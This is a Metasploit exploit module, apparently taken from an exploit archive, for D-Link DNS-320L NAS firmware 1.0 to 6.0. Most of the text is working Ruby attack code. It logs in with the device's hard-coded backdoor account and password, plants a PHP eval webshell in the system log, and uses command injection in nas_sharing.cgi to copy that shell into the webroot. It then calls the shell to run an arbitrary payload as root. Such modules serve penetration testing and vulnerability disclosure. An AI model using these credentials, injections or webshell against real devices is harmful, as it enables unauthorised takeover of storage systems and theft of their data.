D-Link DNS-320L 'mydlinkBRionyg' Backdoor

This Metasploit module exploits two issues. The first issue is that there is a hard coded backdoor within DNS-320L devices. Using this backdoor access we can then reach buggy code which is vulnerable to command injection. Root shell will be spawned upon successful exploitation. Firmware versions 1.0 (2012/6/15) to 6.0 (2015/07/28) are vulnerable.


MD5 | 14d1fdea7ee67fedccba8b171ff90c2a

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info={})
super(update_info(info,
'Name' => "D-Link DNS-320L 'mydlinkBRionyg' Backdoor",
'Description' => %q{
This module exploits two issues. The first issue is that there is a hard
coded backdoor within DNS-320L devices. Using this backdoor access we
can then reach buggy code which is vulnerable to command injection. Root
shell will be spawned upon successful exploitation. Firmare versions 1.0
(2012/6/15) to 6.0 (2015/07/28) are vulnerable.
},
'License' => MSF_LICENSE,
'Author' =>
[
'James Bercegay', # Vulnerability Discovery
],
'References' =>
[
[ 'URL', 'https://gulftech.org/' ]
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => '2018-01-03',
'DefaultTarget' => 0))
end

def check

# We check for the presence of this vulnerability by requesting a default
# system file and checking if the response code is 302.
res = send_request_cgi({
'method' => 'POST',
'uri' => "/cgi-bin/nas_sharing.cgi",
'vars_post' => {
'cmd' => 7,
'user' => "mydlinkBRionyg",
'passwd' => Rex::Text.encode_base64("abc12345cba"),
'path' => Rex::Text.encode_base64("/mnt/HD/HD_a2/[email protected]$mmc")
}
})

if res and res.code == 302
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end

def exploit

# Make things a bit less obvious?
rnd = Rex::Text.rand_text_hex(rand(10) + 5)
idx = rand(1000)

# We know the system supports PHP, so we go with a PHP payload
print_status("Injecting selected payload into user logs")

res = send_request_cgi({
'method' => 'POST',
'uri' => "/cgi-bin/login_mgr.cgi",
'vars_post' => {
'cmd' => 'logout',
'name' => "<?php unlink(__FILE__);eval(base64_decode($_REQUEST[#{idx}]));?>"
}
})

# We are not allowed to use spaces or $IFS etc.
print_status("Copying payload from syslog to webroot")

res = send_request_cgi({
'method' => 'POST',
'uri' => "/cgi-bin/nas_sharing.cgi",
'vars_post' => {
'cmd' => 15,
'user' => "mydlinkBRionyg",
'passwd' => Rex::Text.encode_base64("abc12345cba"),
'system' => Rex::Text.encode_base64("cat</var/log/user.log>/var/www/#{rnd}.php")
}
})

# Execute the selected payload
print_status("Now attempting to execute the selected payload")

res = send_request_cgi({
'method' => 'POST',
'uri' => "/#{rnd}.php",
'vars_post' => {
idx => Rex::Text.encode_base64("#{payload.encoded};")
}
})

end
end

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